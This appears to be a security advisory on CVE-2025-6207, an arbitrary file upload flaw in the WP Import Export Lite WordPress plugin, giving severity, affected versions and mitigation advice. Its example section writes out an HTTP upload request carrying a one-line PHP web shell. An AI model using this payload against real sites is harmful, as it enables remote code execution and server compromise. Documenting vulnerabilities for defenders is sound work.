Overview
This report covers the CVE-2025-6207 vulnerability present in the WP Import Export Lite plugin for WordPress. This vulnerability allows authenticated attackers to upload arbitrary files due to missing file type validation. The consequence of this vulnerability is potential remote code execution, leading to system compromise or data leakage if exploited.
Vulnerability Summary
CVE ID: CVE-2025-6207
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access with permissions granted by an Administrator)
User Interaction: Required
Impact: Potential system compromise and data leakage
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Product | Affected Versions
WP Import Export Lite | Up to and including 3.9.28
How the Exploit Works
The vulnerability lies in the ‘wpie_tempalte_import’ function of the WP Import Export Lite plugin. This function lacks proper file type validation, allowing an attacker to upload arbitrary files to the server. If an attacker uploads a malicious file, such as a PHP shell, they may be able to execute remote code, leading to potential system compromise or data leakage.
Conceptual Example Code
The following is a conceptual example of how an attacker could exploit this vulnerability:
POST /wp-content/plugins/wp-import-export-lite/wpie_import.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gWIn this example, an attacker sends a POST request to the vulnerable endpoint with a malicious PHP file. The PHP file contains a simple system command that would be executed once the file is uploaded to the server.
Mitigation
To mitigate this vulnerability, users are advised to apply the vendor-provided patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) for temporary mitigation.
